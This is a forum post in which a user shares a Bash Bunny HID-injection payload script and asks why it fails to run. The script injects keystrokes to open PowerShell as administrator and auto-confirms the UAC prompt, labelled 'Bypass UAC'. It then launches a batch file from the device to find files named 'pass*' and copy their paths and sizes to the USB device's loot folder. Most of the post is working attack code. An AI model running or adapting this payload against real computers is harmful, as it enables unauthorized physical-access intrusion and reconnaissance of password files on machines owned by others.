A_SarcasticGuy Posted March 14, 2017 Share Posted March 14, 2017 So, I decided to try and write a script that can be used for recon, to find files with a specific phrase within their name and exfil the full path, file name and file size to the Bunny, however when I try to run the script, it doesn't even create the directory to store the file in and for some reason the LED blinks green... #!/bin/bash #Title: FileInfoExfiltrator #Author: A_SarcasticGuy #Version: 1.0 #Target: Windows #Runs Powershell as Admin then scans (default "c:\") for all files beginning with a #specific phrase (default "pass*") and dumps the #full and relative paths and file size to a text file. LED B #Create dump directory LOOTDIR=/loot/exfil mkdir -p $LOOTDIR LED R #Source bunny_helpers.sh to source SWITCH_POSITION source bunny_helpers.sh ATTACKMODE HID STORAGE LED G #Launch Powershell as Admin Q GUI r Q DELAY 100 Q STRING powershell Start-Process powershell -Verb RunAs Q ENTER #Bypass UAC Q DELAY 500 Q ALT y Q ENTER Q DELAY 500 LED B #Start p.bat Q STRING ".((gwmi win32_volume -f 'label='BashBunny''').Name+'payloads/' Q STRING $SWITCH_POSITION Q STRING '/p.bat')" Q ENTER #Wait for p.bat to finish LED R G B Q DELAY 3000 Q STRING exit Q ENTER sync LED G The p.bat file works perfectly fine (or at least from what I an tell by testing it manually), it is just confusing as to why the LED is blinking green (I really have made sure that I have the right switch selected). Any ideas? Quote Link to comment Share on other sites More sharing options...
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